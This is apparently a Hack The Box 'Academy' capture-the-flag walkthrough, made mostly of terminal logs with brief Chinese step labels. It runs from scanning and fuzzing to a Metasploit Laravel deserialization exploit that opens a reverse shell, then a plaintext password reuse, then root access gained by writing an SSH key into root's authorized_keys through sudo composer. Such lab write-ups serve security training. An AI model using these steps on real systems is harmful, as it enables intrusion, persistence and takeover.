root@JIYE:~/htb/academy# nmap -sC -sV -sT 10.10.10.215 -oN nmap.CVT Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-09 01:02 EST Nmap scan report for academy.htb (10.10.10.215) Host is up (0.32s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 c0:90:a3:d8:35:25:6f:fa:33:06:cf:80:13:a0:a5:53 (RSA) | 256 2a:d5:4b:d0:46:f0:ed:c9:3c:8d:f6:5d:ab:ae:77:96 (ECDSA) |_ 256 e1:64:14:c3:cc:51:b2:3b:a6:28:a7:b1:ae:5f:45:35 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Hack The Box Academy Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 57.43 seconds root@JIYE:~/htb/academy#
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 2.4.5 - The Web Fuzzer * ******************************************************** Target: http://academy.htb/FUZZ.php Total requests: 959 =================================================================== ID Response Lines Word Chars Payload =================================================================== 000000213: 200 0 L 0 W 0 Ch "config" 000000059: 200 141 L 227 W 2633 Ch "admin" 000000434: 200 76 L 131 W 2117 Ch "index" 000000411: 302 1049 L 4114 W 55034 Ch "home" 000000498: 200 141 L 226 W 2627 Ch "login" 000000684: 200 148 L 247 W 3003 Ch "register" Total time: 9.694324 Processed Requests: 959 Filtered Requests: 953 Requests/sec.: 98.92385
msf5 > use 0 [*] Using configured payload cmd/unix/reverse_perl msf5 exploit(unix/http/laravel_token_unserialize_exec) > msf5 exploit(unix/http/laravel_token_unserialize_exec) > show options
Module options (exploit/unix/http/laravel_token_unserialize_exec): Name Current Setting Required Description ---- --------------- -------- ----------- APP_KEY no The base64 encoded APP_KEY string from the .env file Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI / yes Path to target webapp VHOST no HTTP server virtual host Payload options (cmd/unix/reverse_perl):
Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target:
Id Name -- ---- 0 Automatic
1.设置本端主机
1 2
msf5 exploit(unix/http/laravel_token_unserialize_exec) > set lhost tun0 lhost => 10.10.17.216
2.设置对端主机
1 2
msf5 exploit(unix/http/laravel_token_unserialize_exec) > set rhosts academy.htb rhosts => academy.htb
3.设置app_key
1 2
msf5 exploit(unix/http/laravel_token_unserialize_exec) > set app_key dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0= app_key => dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=
4.设置虚拟主机
1 2
msf5 exploit(unix/http/laravel_token_unserialize_exec) > set vhost dev-staging-01.academy.htb vhost => dev-staging-01.academy.htb
Name Current Setting Required Description ---- --------------- -------- ----------- APP_KEY dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0= no The base64 encoded APP_KEY string from the .env file Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS academy.htb yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI / yes Path to target webapp VHOST dev-staging-01.academy.htb no HTTP server virtual host Payload options (cmd/unix/reverse_perl):
Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 10.10.17.216 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port
Exploit target:
Id Name -- ---- 0 Automatic msf5 exploit(unix/http/laravel_token_unserialize_exec) > run
[*] Started reverse TCP handler on 10.10.17.216:4444 [*] Command shell session 1 opened (10.10.17.216:4444 -> 10.10.10.215:39152) at 2020-12-09 03:07:26 -0500
python3 -c "import pty;pty.spawn('/bin/bash')" www-data@academy:/var/www/html/htb-academy-dev-01/public$ www-data@academy:/var/www/html/htb-academy-dev-01/public$ ls ls css favicon.ico index.php js robots.txt web.config www-data@academy:/var/www/html/htb-academy-dev-01/public$ cd ../../ cd ../../
www-data@academy:/var/www/html/academy$ cd /home cd /home www-data@academy:/home$ ls ls 21y4d ch4p cry0l1t3 egre55 g0blin mrb3n www-data@academy:/home$ su cry0l1t3 su cry0l1t3 Password: mySup3rP4s5w0rd!!
$ /bin/bash /bin/bash cry0l1t3@academy:/home$
cry0l1t3@academy:/home$ cd ~ cd ~ cry0l1t3@academy:~$ ls ls user.txt cry0l1t3@academy:~$ cat user.txt cat user.txt *************************** cry0l1t3@academy:~$
0x09.提权
1.尝试sudo -l进行提权 ,霸特没有
1 2 3 4
cry0l1t3@academy:~$ sudo -l [sudo] password for cry0l1t3: Sorry, user cry0l1t3 may not run sudo on academy. cry0l1t3@academy:~$
root@JIYE:~# ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /root/.ssh/id_rsa Your public key has been saved in /root/.ssh/id_rsa.pub The key fingerprint is: SHA256:FKBkE5JZ5qaTiSzGFeu24nBc+9uHrMC4EI1Q6/gOXnc root@JIYE The key's randomart image is: +---[RSA 3072]----+ | o=B.... | | .oBoo . | |. .o+ . | |+*o= . | |*+Bo. S | |o+.=.. | |+.=o+. E . | |+=o..o..o . | | oo +o.. | +----[SHA256]-----+ root@JIYE:~# cd .ssh/ root@JIYE:~/.ssh# ls id_rsa id_rsa.pub known_hosts .pub为公钥 root@JIYE:~/.ssh# cat id_rsa.pub ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIuoa+nxwrqqxtdN5zqWblCzN6U6ltR0eZXI+tnPHt2Dx/6ms2bEqSmAV66ETVyjXQKe2fHzNWdhjj4Y48M4eQY+iSR/IxqfxxLysspB0hzylreY+/ScKwvA7LcxoIUR8D5YZq5kGkGR50sO2m16l7kb2X7A9FO6SHTRPbGKlnFI7kypQCoYmgLX7czaci3Ol0pVpYAhFEiNZIt43uU8uwvGELQnj5j9pcPrJU7yDqA/Xm11PUe9x6wrUKmW3pwhiHLT/ONJm8OzBiGvIaAxEK/DvVarrt+DjrlXAugZw87aip+SlBJSpQDWPxk8rAwvCLx1lVvFRekPIvByaRwHHNYypenZHKJi8UCWwEKM004uw4gEuG6VKciPd/eCnrx5Xrufrg2IW9foB9JAFKUICN/be73uJe8DbGn0hLRN+Yr0rE7CDw+ZPqAMp4bKrf9FicUS8fS1eUmAMjIAAN6j6zbI2ftU5EaoJ27CW2evknUcSbgO7fx6hxwt0dliCpXZc= root@JIYE
mrb3n@academy:~$ sudo composer --working-dir=$TF run-script SSH [sudo] password for mrb3n: PHP Warning: PHP Startup: Unable to load dynamic library 'mysqli.so' (tried: /usr/lib/php/20190902/mysqli.so (/usr/lib/php/20190902/mysqli.so: undefined symbol: mysqlnd_global_stats), /usr/lib/php/20190902/mysqli.so.so (/usr/lib/php/20190902/mysqli.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 PHP Warning: PHP Startup: Unable to load dynamic library 'pdo_mysql.so' (tried: /usr/lib/php/20190902/pdo_mysql.so (/usr/lib/php/20190902/pdo_mysql.so: undefined symbol: mysqlnd_allocator), /usr/lib/php/20190902/pdo_mysql.so.so (/usr/lib/php/20190902/pdo_mysql.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Do not run Composer as root/super user! See https://getcomposer.org/root for details >echo'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIuoa+nxwrqqxtdN5zqWblCzN6U6ltR0eZXI+tnPHt2Dx/6ms2bEqSmAV66ETVyjXQKe2fHzNWdhjj4Y48M4eQY+iSR/IxqfxxLysspB0hzylreY+/ScKwvA7LcxoIUR8D5YZq5kGkGR50sO2m16l7kb2X7A9FO6SHTRPbGKlnFI7kypQCoYmgLX7czaci3Ol0pVpYAhFEiNZIt43uU8uwvGELQnj5j9pcPrJU7yDqA/Xm11PUe9x6wrUKmW3pwhiHLT/ONJm8OzBiGvIaAxEK/DvVarrt+DjrlXAugZw87aip+SlBJSpQDWPxk8rAwvCLx1lVvFRekPIvByaRwHHNYypenZHKJi8UCWwEKM004uw4gEuG6VKciPd/eCnrx5Xrufrg2IW9foB9JAFKUICN/be73uJe8DbGn0hLRN+Yr0rE7CDw+ZPqAMp4bKrf9FicUS8fS1eUmAMjIAAN6j6zbI2ftU5EaoJ27CW2evknUcSbgO7fx6hxwt0dliCpXZc=' >> /root/.ssh/authorized_keys mrb3n@academy:~$
root@JIYE:~/.ssh# ssh -i id_rsa root@10.10.10.215 kex_exchange_identification: read: Connection reset by peer Connection reset by 10.10.10.215 port 22 root@JIYE:~/.ssh# ssh -i id_rsa root@10.10.10.215 Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-52-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Wed 09 Dec 2020 11:36:12 AM UTC System load: 0.0 Usage of /: 44.4% of 15.68GB Memory usage: 21% Swap usage: 0% Processes: 178 Users logged in: 1 IPv4 address for ens160: 10.10.10.215 IPv6 address for ens160: dead:beef::250:56ff:feb9:c8a * Introducing self-healing high availability clustering for MicroK8s! Super simple, hardened and opinionated Kubernetes for production.
https://microk8s.io/high-availability 0 updates can be installed immediately. 0 of these updates are security updates. Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Mon Nov 9 10:11:49 2020 root@academy:~# ls academy.txt root.txt snap root@academy:~# cat root.txt ******************** root@academy:~#